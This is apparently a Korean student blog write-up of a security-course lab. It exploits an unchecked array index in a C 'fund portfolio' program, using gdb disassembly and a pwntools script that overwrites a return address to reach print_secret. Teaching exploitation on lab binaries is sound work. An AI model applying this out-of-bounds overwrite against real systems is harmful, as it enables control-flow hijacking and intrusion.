Lab2-4

옹다·2024년 11월 13일

해킹및정보보안

목록 보기
7/8
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define ITEM_COUNT 16

// This function will print out the content of "secret.txt" file. You don't need
// to know the internals of this function.
void print_secret(void);

void menu(void) {
  printf("=== Manage your fund portfolio ===\n");
  printf("1. Check your portfolio\n");
  printf("2. Rebalance the portfolio\n");
  printf("3. Retire from the market\n");
  printf("(Enter 1~3): ");
}

int read_int(void) {
  int v;
  if (scanf("%d", &v) != 1) {
    printf("[ERROR] Invalid input format\n");
    exit(1);
  }
  return v;
}

void market_update(int items[]) {
  for (int i = 0; i < ITEM_COUNT; i++) {
    items[i] += ((rand() % 512) - 256);
  }
}

void print_portfolio(int items[]) {
  for (int i = 0; i < ITEM_COUNT; i++)
    printf("Investment on item %d: $ %d\n", i, items[i]);
}

void rebalance_portfolio(int items[]) {
  int src_idx, dst_idx, amount;
  printf("Input the ID of item you want to withdraw money from: ");
  src_idx = read_int();
  printf("Input the ID of item you want to invest more money: ");
  dst_idx = read_int();
  printf("Decide how much to move: ");
  amount = read_int();
  if (src_idx < 0 || dst_idx < 0 || amount < 0) {
    printf("Negative input not allowed for item number or amount of money\n");
    return;
  }
  items[src_idx] -= amount;
  items[dst_idx] += amount;
}

void manage_fund(void) {
  int items[ITEM_COUNT];
  int choice, i, quit_flag = 0;

  for (i = 0; i < ITEM_COUNT; i++) {
    items[i] = 100000;
  }

  while (!quit_flag) {
    market_update(items);
    menu();
    choice = read_int();
    switch (choice) {
      case 1:
        print_portfolio(items);
        break;

      case 2:
        rebalance_portfolio(items);
        break;

      case 3:
        quit_flag = 1;
        break;

      default:
        printf("[ERROR] Invalid choice\n");
    }
  }
}

int main(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  srand(time(NULL));
  manage_fund();
  return 0;
}

fund.c 코드다. (길다..)
쭈욱 살펴보니 print_secret()함수를 호출하는 코드는 없다.
그렇다면 우리는 print_secret()함수의 시작 주소와 어떤 함수의 return address을 알아내야 한다.
그렇다면 어떤 함수의 return address를 알아내야 할까?

먼저 BOF가 발생할 위험이 있는 함수를 찾아보자.
딱히 BOF를 일으키는 함수가 없어보이지만,,
out-of-bound를 일으키는 함수가 눈에 보인다!!
void rebalance_portfolio함수에서
items[src_idx] -= amount;
items[dst_idx] += amount;

가 의심스럽다.

main()함수에서 manage_fund()함수를 호출하고,
manage_fund()함수에서 2를 입력받으면 rebalance_portfolio()함수를 호출한다.
rebalace_portfolio()함수에서 read_int()함수를 호출하여 src_idx와 dst_idx를 설정한다.

배열 items의 인덱스를 이용하여 직접 return address에 접근하는 문제인 것 같다.

그럼 배열 items가 정의되어 있는 manage_fund()함수의 return address을 알아내보자!

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004014a9 <+0>:     sub    $0x8,%rsp
   0x00000000004014ad <+4>:     mov    $0x0,%ecx
   0x00000000004014b2 <+9>:     mov    $0x2,%edx
   0x00000000004014b7 <+14>:    mov    $0x0,%esi
   0x00000000004014bc <+19>:    mov    0x2bdd(%rip),%rdi        # 0x4040a0 <stdin@@GLIBC_2.2.5>
   0x00000000004014c3 <+26>:    call   0x4010a0 <setvbuf@plt>
   0x00000000004014c8 <+31>:    mov    $0x0,%ecx
   0x00000000004014cd <+36>:    mov    $0x2,%edx
   0x00000000004014d2 <+41>:    mov    $0x0,%esi
   0x00000000004014d7 <+46>:    mov    0x2bb2(%rip),%rdi        # 0x404090 <stdout@@GLIBC_2.2.5>
   0x00000000004014de <+53>:    call   0x4010a0 <setvbuf@plt>
   0x00000000004014e3 <+58>:    mov    $0x0,%edi
   0x00000000004014e8 <+63>:    call   0x401090 <time@plt>
   0x00000000004014ed <+68>:    mov    %rax,%rdi
   0x00000000004014f0 <+71>:    call   0x401080 <srand@plt>
   0x00000000004014f5 <+76>:    call   0x401423 <manage_fund>
   0x00000000004014fa <+81>:    mov    $0x0,%eax
   0x00000000004014ff <+86>:    add    $0x8,%rsp
   0x0000000000401503 <+90>:    ret    

main()함수에서 manage_fund를 호출하고, manage_fund의 return address는 0x4014fa이다.

print_secret의 시작 주소도 알아보자.

(gdb) disas print_secret 
Dump of assembler code for function print_secret:
   0x00000000004011d6 <+0>:     push   %rbx

0x4011d6인 것을 확인할 수 있다.

이제 manage_fund를 disassemble해보자.

(gdb) disas manage_fund 
Dump of assembler code for function manage_fund:
   0x0000000000401423 <+0>:     sub    $0x58,%rsp
   0x0000000000401427 <+4>:     mov    %fs:0x28,%rax
   0x0000000000401430 <+13>:    mov    %rax,0x48(%rsp)
   0x0000000000401435 <+18>:    xor    %eax,%eax
   0x0000000000401437 <+20>:    cmp    $0xf,%eax
   0x000000000040143a <+23>:    jg     0x401453 <manage_fund+48>
   0x000000000040143c <+25>:    movslq %eax,%rdx
   0x000000000040143f <+28>:    movl   $0x186a0,(%rsp,%rdx,4)
   0x0000000000401446 <+35>:    add    $0x1,%eax
   0x0000000000401449 <+38>:    jmp    0x401437 <manage_fund+20>
   0x000000000040144b <+40>:    mov    %rsp,%rdi
   0x000000000040144e <+43>:    call   0x40136c <print_portfolio>
   0x0000000000401453 <+48>:    mov    %rsp,%rdi
   0x0000000000401456 <+51>:    call   0x40132f <market_update>
   0x000000000040145b <+56>:    call   0x40127c <menu>
   0x0000000000401460 <+61>:    call   0x4012d0 <read_int>
   0x0000000000401465 <+66>:    cmp    $0x2,%eax
   0x0000000000401468 <+69>:    je     0x401485 <manage_fund+98>
   0x000000000040146a <+71>:    cmp    $0x3,%eax
   0x000000000040146d <+74>:    je     0x40148f <manage_fund+108>
   0x000000000040146f <+76>:    cmp    $0x1,%eax
   0x0000000000401472 <+79>:    je     0x40144b <manage_fund+40>
   0x0000000000401474 <+81>:    mov    $0x4021dd,%edi
   0x0000000000401479 <+86>:    mov    $0x0,%eax
   0x000000000040147e <+91>:    call   0x401060 <printf@plt>
   0x0000000000401483 <+96>:    jmp    0x401453 <manage_fund+48>
   0x0000000000401485 <+98>:    mov    %rsp,%rdi
   0x0000000000401488 <+101>:   call   0x4013a3 <rebalance_portfolio>
   0x000000000040148d <+106>:   jmp    0x401453 <manage_fund+48>
   0x000000000040148f <+108>:   mov    0x48(%rsp),%rax
   0x0000000000401494 <+113>:   xor    %fs:0x28,%rax
   0x000000000040149d <+122>:   jne    0x4014a4 <manage_fund+129>
   0x000000000040149f <+124>:   add    $0x58,%rsp
   0x00000000004014a3 <+128>:   ret    
   0x00000000004014a4 <+129>:   call   0x401050 <__stack_chk_fail@plt>

먼저 %rsp를 0x58만큼 내려서 스택에 공간을 할당한다.
0x58 = 5 * 16 + 8 = 88 -> 88 / 8 = 11칸

%rsp+0x48에는 스택 카나리가 존재한다.

0x0000000000401437 <+20>:    cmp    $0xf,%eax
0x000000000040143a <+23>:    jg     0x401453 <manage_fund+48>
0x000000000040143c <+25>:    movslq %eax,%rdx
0x000000000040143f <+28>:    movl   $0x186a0,(%rsp,%rdx,4)

이 부분을 보면 %rsp에 items[0] ~ items[15]가 저장되는 것을 알 수 있다.
이를 그림으로 나타내면 다음과 같다.

return address가 있는 곳은 items[22]로 표현할 수 있다.
인덱스를 이용하면 카나리를 거치지 않고도 바로 return address에 접근이 가능하다.
따라서 items[22]에 있는 기존 return address 0x4014fa를 0x4011d6으로 바꿔야 한다.
0x4014fa - amount = 0x4011d6이 되도록 amount를 계산해보자.
16진수 계산은 복잡하니 10진수로 고쳐 계산하자.
0x4014fa - 0x4011d6 = 804이다.

items[src_idx] -= amount;
따라서 src_idx에는 22를, amount에는 804를 입력해주면 된다.
(dst_idx는 아무거나~)
이를 exploit code로 나타내면 다음과 같다.

#!/usr/bin/python3

from pwn import *


def exploit():
    # Write your exploit logic here.
    p = process("./fund.bin")
    print(p.recvuntil(b"===\n"))
    print(p.recvuntil(b"portfolio\n"))
    print(p.recvuntil(b"portfolio\n"))
    print(p.recvuntil(b"market\n"))
    print(p.recvuntil(b"(Enter 1~3): "))
   
    p.sendline(b"2")
    print(p.recvuntil(b"from: "))
    p.sendline(b"22") # src_idx
    print(p.recvuntil(b"money: "))
    p.sendline(b"1") #dst_idx는 아무거나
    print(p.recvuntil(b"move: "))
    p.sendline(b"804") #amount

    for i in range(4):
        print(p.recvline())
    print(p.recvuntil(b"(Enter 1~3): "))
    p.sendline(b"3")
    
    print(p.recvline())

if __name__ == "__main__":
    exploit()

여기서는 menu()를 받아 출력할 때 두가지 방법으로 가능하다. -> 이제 recvline()과 recvuntil()은 자유자재로 쓸 수 있는 지경이다:)

새롭게 주의할 점은 while문에서 빠져나와 함수가 끝나야 return address에 돌아온다는 점이다.
그래야 return address를 덮어쓴 print_secret함수가 실행이 된다.
따라서 while문을 완전히 끝낸 후(3 입력), print(p.recvline())으로 print_secret함수의 실행 결과를 출력한다.

profile
많진 않아도 딱 내 것을 만드는 공정

0개의 댓글